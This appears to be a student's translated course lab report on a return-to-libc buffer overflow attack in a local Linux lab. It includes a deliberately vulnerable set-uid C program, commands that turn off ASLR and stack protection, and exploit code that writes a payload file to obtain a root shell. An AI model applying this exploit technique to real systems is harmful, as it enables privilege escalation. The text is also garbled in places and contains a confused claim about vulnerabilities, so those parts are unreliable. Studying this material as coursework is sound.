20179203 "Linux kernel Fundamentals and analysis" 12th Week work

RETURN-TO-LIBC Attack experiment

First, the experimental description

Buffer overflow Common attack method is to use Shellcode address to overwrite the return address of the vulnerability program, so that the vulnerability program to execute stored in the stack shellcode. To prevent this type of attack, some operating systems allow system administrators the ability to make the stack non-executable. In this case, once the program executes the shellcode stored in the stack, it will crash, thus preventing the attack. Unfortunately the above protection is not completely valid, there is now a variant of buffer overflow attack, called RETURN-TO-LIBC attack. This attack does not require a stack to execute, or even require a shellcode. Instead, we let the vulnerability program jump to existing code (such as the system () function in the LIBC library that has been loaded into memory) to implement our attack.

Second, the experiment Preparation 1, the input command installs some to compile the 32-bit C program The thing:

Use the following code to implement this functionality.

sudo apt-get updatesudo apt-get install lib32z1 libc6-dev-i386sudo apt-get install lib32readline-gplv2-dev

2. Enter the command "linux32" into the 32-bit Linux environment. Enter "/bin/bash" Using bash:

Third, the experiment Step 1, the initial setup

In Ubuntu and some other Linux systems, the initial address of random heap (heap) and stack (stack) is randomized using address space, which makes it difficult to guess the exact memory address, and guessing the memory address is the key to the buffer overflow attack. So in this experiment, we use the following command to turn off this feature:

sudo sysctl -w kernel.randomize_va_space=0

2. Vulnerability procedures

Save the following code as a "RETLIB.C" file and save it to the/tmp directory. The code is as follows:

/* retlib.c *//* This program has a buffer overflow vulnerability. *//* Our task is to exploit this vulnerability */include <stdlib.h>include <stdio.h>include <string.h>int bof(FILE *badfile){char buffer[12];/* The following statement has a buffer overflow problem */fread(buffer, sizeof(char), 40, badfile);return 1;}int main(int argc, char **argv){FILE *badfile;badfile = fopen("badfile", "r");bof(badfile);printf("Returned Properly\n");fclose(badfile);return 1;}

Compile the program, and set the Set-uid. The command is as follows:

sudo sugcc -m32 -g -z noexecstack -fno-stack-protector -o retlib retlib.cchmod u+s retlibexit

The above program has a buffer overflow vulnerability, which first reads 40 bytes of data from a file called "Badfile" into a 12-byte buffer, causing an overflow. The Fread () function does not check the bounds, so overflow occurs. Because this program is a SET-ROOT-UID program, if an ordinary user exploits this buffer overflow vulnerability, he may gain ROOT shell. It should be noted that this program obtains input from a file called "Bad?le", which is controlled by the user. Now our goal is to create content for "Bad?le" so that when the vulnerability program copies this content into its buffer, a root shell is created.

We also need to use a program that reads the environment variables:

/* getenvaddr.c */include <stdio.h>include <stdlib.h>include <string.h>int main(int argc, char const *argv[]){ char *ptr; if(argc < 3){    printf("Usage: %s <environment var> <target program name>\n", argv[0]);    exit(0);    } ptr = getenv(argv[1]); ptr += (strlen(argv[0]) - strlen(argv[2])) * 2; printf("%s will be at %p\n", argv[1], ptr); return 0;}

Compile:

gcc -m32 -o getenvaddr getenvaddr.c

3. Attack program

Save the following code as a "exploit.c" file and save it to the/tmp directory. The code is as follows:

/* exploit.c */include <stdlib.h>include <stdio.h>include <string.h>int main(int argc, char **argv){ char buf[40]; FILE *badfile; badfile = fopen(".//badfile", "w"); strcpy(buf, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90");// nop 24 times *(long *) &buf[32] =0x11111111; // "//bin//sh" *(long *) &buf[24] =0x22222222; // system() *(long *) &buf[36] =0x33333333; // exit() fwrite(buf, sizeof(buf), 1, badfile); fclose(badfile);}

The code "0x11111111", "0x22222222", "0x33333333" is the address of bin_sh, System, exit, respectively, we need to obtain next.

4. Get memory address 1) Use the GETENVADDR program just now to get the Bin_sh address:

2) GDB obtains the system and exit addresses:

Modify the Exploit.c file and fill in the memory address you just found:

Remove the exploit program and the Badfile file that you just debugged and recompile the modified EXPLOIT.C:

rm exploitrm badfilegcc -m32 -o exploit exploit.c

5) attack
First run the attack program exploit, and then run the vulnerability program RETLIB, the success of the attack, gain the root authority:

Iv. Summary of the experiment

The result of the experiment was that the root authority was successfully controlled, although such a result and a buffer overflow attack achieved the same result, but took a completely different approach. RETURN-TO-LIBC attacks, which are implemented by existing code. This kind of attack seems to me to be a more covert attack with high success rates. After all, such attacks do not depend on vulnerabilities in the program, and their vulnerabilities are generated by code generated by themselves, making it more difficult to prevent them. At present, for RETURN-INTO-LIBC and return-oriented programming attacks, the address space layout randomization (RANDOMIZATION,ASLR) mechanism is one of the most effective defense mechanisms. ASLR enables the randomization of the address of the heap, stack, code, and shared library of the process at each run of the program, greatly increasing the difficulty of locating the correct location of the code to be used, thus greatly increasing the RETURN-INTO-LIBC And the difficulty of returning to a guided programming attack and the ability to defend against attacks. Since the address at the time of the program runs is randomized, the attacker cannot directly locate the randomized memory address that is needed to exploit it, but only relies on guessing the data and the actual address of the code at runtime. As a result, the attacker is less likely to guess the right, and it is difficult to successfully launch an attack. At the same time, it is easy to cause the program to crash when it runs, thus reducing the difficulty of detecting attacks.

20179203 "Linux kernel Fundamentals and analysis" 12th Week work